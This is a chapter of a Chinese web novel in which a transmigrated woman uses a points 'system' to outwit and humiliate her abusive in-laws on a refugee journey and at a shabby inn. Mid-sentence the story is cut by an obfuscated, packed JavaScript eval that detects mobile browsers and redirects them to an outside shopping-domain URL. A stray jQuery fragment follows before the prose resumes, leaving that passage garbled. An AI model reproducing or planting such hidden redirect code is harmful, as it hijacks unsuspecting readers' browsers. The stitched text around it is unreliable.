翌日一早,周存缓缓的醒来。

    此时雨停了,她打开窗户,来自草木的清新扑面而来。

    眼见外面一派鸟语花香,她拉起巧儿就下了房车。

    她是大人,可以一直待在房车中。

    可巧儿是孩子,必须得多溜溜才能健康成长。

    看见两人的身影,杨家人又炸了锅。

    此时李氏立即上前,顾忌到周存的身手只得停下她三米开外叉腰质问。

    “周氏,你这个狐狸精还敢下车?”

    “我相公昨天在你驴车前被雷劈了,你赔我相公的药钱。”

    昨日杨武晕死过去后,她用了公中的药材。

    平日里都是杨氏掌管,即使家里人用药也得掏钱。

    她可是花了十文钱,这个钱必须要周氏出。

    周存翻了个白眼冷笑一声。

    “摊牌了?不装绿茶了?”

    她抱着肩膀继续说道。

    “你相公是在我车前被老天爷劈的,不是被我劈的。”

    “你相公的药钱关我屁事?”

    “积分加2”

    这话让李氏气的胸膛上下浮动。

    “若不是昨日我相公在马车上看到你偷吃,他会冒雨下马车吗?”

    “若不是下马车怎会被雷劈?”

    “这事不怪你怪谁?”

    周存笑了起来。

    “我偷吃?”

    “二嫂,昨天下雨我早早的将窗棂子盖严实了,你是怎么看到我们偷吃的?”

    “难不成见鬼了?”

    “积分加1”

    周存翻了个白眼儿,听见系统积分的提示音心中觉得无比畅快。

    气血顺畅,嘴皮子跟着利索起来。

    “再说了,二哥是被老天爷劈的,又不是我劈的,你应该去找老天爷评理,而不是找我!”

    “积分加3”

    “周氏,你反了天了!”

    此时,杨氏中气十足的声音响起,周存心中翻江倒海一阵恶寒。

    这是来自原主本能的抵触!

    随后,杨氏慢悠悠下了马车,一双吊白眼中满是阴鸷。

    “你当年出了那档子丑事,若非你二伯替你求情,你的骨头早就沤碎了。”

    “如今你累的小武被雷劈却作不相干模样,当真是白眼狼行径!”

    当年的丑事?

    原主一个大家闺秀情愿受这些人的欺负,难道跟这件事有关?

    不过周存刚穿来,被迫接受了原主的记忆,记忆都还没有理顺,哪还会在意什么丑事?

    再说了,就看杨家人这等品行,他们看来的丑事还不一定藏着什么猫腻呢?

    周存撇了撇嘴,“老太太说的倒轻巧。”

    “昨日二伯就算是在我车前被雷劈,那也是他活该。”

    “又不是我劈的他,怎得还赖上我了?”

    “积分加3......”

    “你竟敢顶撞婆母?”

    杨氏还没应声,邹氏一瘸一拐的下车,气冲冲的叫骂了起来。

    “你这个下贱的商贾之女,我们杨家肯娶你已经是烧高香了。”

    “你来到我们周家之后看看都干了什么好事儿?”

    周存看着她中气十足的模样,有些后悔昨日电压调小了。

    “我是没干什么好事儿,大嫂就干好事儿了?”

    “去年中秋节的时候,大嫂回娘家好像给了你家弟弟二两银子吧?”

    原主脑海里的记忆被周存拾起,在逃难路上邹氏污蔑原主偷银子,换来了杨氏一顿毒打。

    实则是邹氏娘家弟弟盖房子,她将这二两银子偷拿回了娘家。

    眼见平不了账,便将黑锅扣在了原主头上。

    周存歪头作思考状,“咦,二两还是五两来着?”

    “什么?”

    杨氏嗓子尖利的叫了起来。

    这年头,平头老百姓光靠种地,一年的收成最多才二两银子。

    邹氏竟然往娘家拿了这么多钱!

    “邹氏,你好大的胆子,竟敢拿我们老杨家的钱贴补娘家?”

    邹氏面色一白,连忙否认。

    “娘,你别听周氏瞎咧咧,我怎么可能贴补娘家?”

    “啧啧啧啧啧......”周存摇头叹气一气呵成。

    “那时娘肚子下坠想吃柿饼子,你还说她半截身子入土吃了浪费。”

    “啪”的一声,邹氏的脸上狠狠挨了一巴掌。

    杨氏抓着她的头发又狠狠的扇去。

    “小贱蹄子,就知道你没安什么好心。”

    “把银子给我吐出来!”

    “叮”

    熟悉的系统声响起,“检测到对方愤怒值升高,奖励宿主无限量水源,宿主是否接受?”

    周存忙不迭的点头,抓起还在看热闹的巧儿一溜烟儿的回到了房车。

    她从意识中拿出一瓶矿泉水拧开,清凉的甘泉顺着胃一路来到了丹田。

    畅快的头皮发麻!

    在这个动荡的时代,有了水便有了活下去的依仗。

    而窗外干仗的杨氏和邹氏又给周存提供了积分。

    “叮”

    “叮”

    “叮”

    连绵不断的提示音响起。

    看着系统中的积分余额,周存没有半分犹豫,立即点击了兑换空间。

    顿时脑海中出现了一个空白的空间,周存试着用意念将手中的矿泉水放进去,墙角立即便出现了矿泉水。

    积分还剩了一些,周存没有再兑换东西,要在必要的时候以备不时之需。

    等周存缓过神来,房车外的两人已经结束了战斗。

    可能是意识到周存突然的转性有些难搞,便没有再找麻烦,而是选择继续赶路。

    房车设置了导航系统,只要杨家人赶路,房车就会启动自动驾驶功能跟上队伍。

    到达郡县的时候,已经到了下午。

    周存打开窗户定定的看着眼前的景象。

    高楼环宇鳞次栉比,街边小贩的叫卖声络绎不绝。

    路上行人着装或精美或朴素,依次穿梭在这街道中。

    糕点的香气混合着香料胭脂的香气一个劲儿的往周存鼻子里钻。

    她闭上眼睛贪婪的深吸一口气。

    在路上这几天只看到了杨家人,猛地看到这么热闹的景象,她才感觉有了活人味。

    杨家人为了省钱,硬是穿过大半个郡县,找到了一家客栈。

    说是客栈,还真是抬举它了。

    外墙斑驳,墙头可能年久失修有几处长了杂草。

    甚至墙根处还有个不起眼的狗洞。

    大门上朱色的漆已经掉落大半,露出原本的木头。

    门口蹲着一个穿着褐色短打布衫束脚裤的半大孩子,看见几人的到来眼睛瞪的像铜铃。

    他以迅而不及掩耳盗铃之势来到了杨氏面前,点头哈腰满脸堆笑一气呵成。

    “老夫人,咱们是住店吗?”

    小二的谄媚的嘴脸极大的满足了杨氏的虚荣。

    她不自觉的挺直了腰杆子。

    “咳咳,你怎知我们要住店?”

    小二扯过肩膀上的褡裢应声,“一看老夫人您就是有身份有头脸的人,这个点了来到咱们店指定是住店。”

    周存翻了个白眼儿,杨家人两辆马车一辆驴车,天快黑了,风尘仆仆的走到这,明眼人一看就是要住店。

    此时杨氏骄傲的像是战胜的大鹅,“我们要住三间房

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17788060|210244||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,你给我们好好收拾收拾。”

    小二开心的应声,引一家人进了客栈。

    周存心中还纳闷,杨氏怎么这么大方,还给她和巧儿叫了一间房。

    直到进了房间,她才知道是自己想多了。

    她们要和杨氏一间房,杨氏睡床上,两人打地铺。

    不过,周存没有发作。

    看到娘俩乖乖的在地上整理褥子,杨氏更加断定周氏的不正常只是暂时的。

    来到客栈的周氏又是给她打水洗脚又是端水喝的,仿佛以前那个听话的周氏又回来了。

    巧儿乖巧的窝在周存怀中悄声问道。

    “娘,咱们为什么不住车上?”

    周存明白她的意思。

    放着舒服的房车不住,为何还要来到这破烂的客栈打地铺。

    “巧儿乖,娘待会可是要干大事的!”

    周存亲了亲巧儿的额头,“乖,赶紧睡。”

    不知过了多长时间,听得杨氏均匀的呼吸声,周存才放下巧儿坐起身来。

    杨氏喝了从系统中兑换的安眠药水之后,保管大炮来了都轰不醒。

    周存打开房门小心翼翼的下了楼。

    翌日一早,客栈中响起了剧烈的争吵声、女子哭闹声和打砸声。

    这个客栈地处偏僻,除却杨家人之外客栈中只有零星的两三人住客。

    周存起身给巧儿穿戴整齐之后才叫醒了依然酣睡的杨氏。

    “娘,娘,起床了。”

    见她还是不醒,周存牟足了力气朝杨氏脸上扇去。

    火辣辣的力道让周存手麻,那厢的杨氏才悠悠转醒。

    “哎呦,我的脸怎么这么疼?”

    眼前的周氏一脸乖巧,“娘,你醒了?”

    杨氏摸着脸,不发疯的周氏胆小如鹌鹑,借她一个胆子也不敢打自己。

    难道真是在做梦?

    这时,杨氏听到了外面熙熙攘攘的声音,便问道。

    “外面发生什么事了?怎么这么吵?”

    周存低眉顺眼道。

    “我也不知道,这正要叫娘去看看呢!”

    杨氏打了个寒颤,之前那个懦弱的周氏又回来了。

    敢情那片山林有猫腻,能让人平白无故的发疯。

    不过,她没有细想。

    这般乖顺的周氏才是正常的。

    收拾利索之后三人朝门外走去,吵闹声愈加清晰。

    这时,杨氏才看清楼下大堂中的情形。

    杨武被两个壮汉死死的压住手脚,李氏被一个瘦弱的女子狠狠的抽着嘴巴子。

    至于大房的人则是没有露面,周围有三人正对着几人指指点点。

    “造孽呦,哪来的天杀的打我儿子。”

    杨氏此时腰不酸了腿不疼了,连滚带爬的跑到了楼下,周存则是牵着巧儿缓缓的挪动着脚步。

    “你们放开我儿子。”

    杨氏朝两个壮汉扑去,被其中一人轻松捏住手腕。

    他的手上用了巧劲儿,杨氏痛的哀嚎起来。

    瘦弱女子放开李氏来到了杨氏面前。

    “老太婆,你是这个男人的娘?”

    她将散落在额边的碎发随意扯到耳后,慵懒的神态尽显妩媚。

    “你儿子玩了老娘不给钱,既然他是你儿子,就由你给钱吧。”

    杨氏猛地看向地上的杨武,见他心虚的不敢抬头,便知道女子说的不错,这小子的老毛病又犯了。

    “你想要多少银钱,我给,我给还不行吗?”

    “你们至于打人吗?”

    “娘,他们讹人!”

    李氏哭着抹眼泪,“他们要一千两银子!”

    杨氏瞬间瞪大了双眼,失声喊道:“夺少?”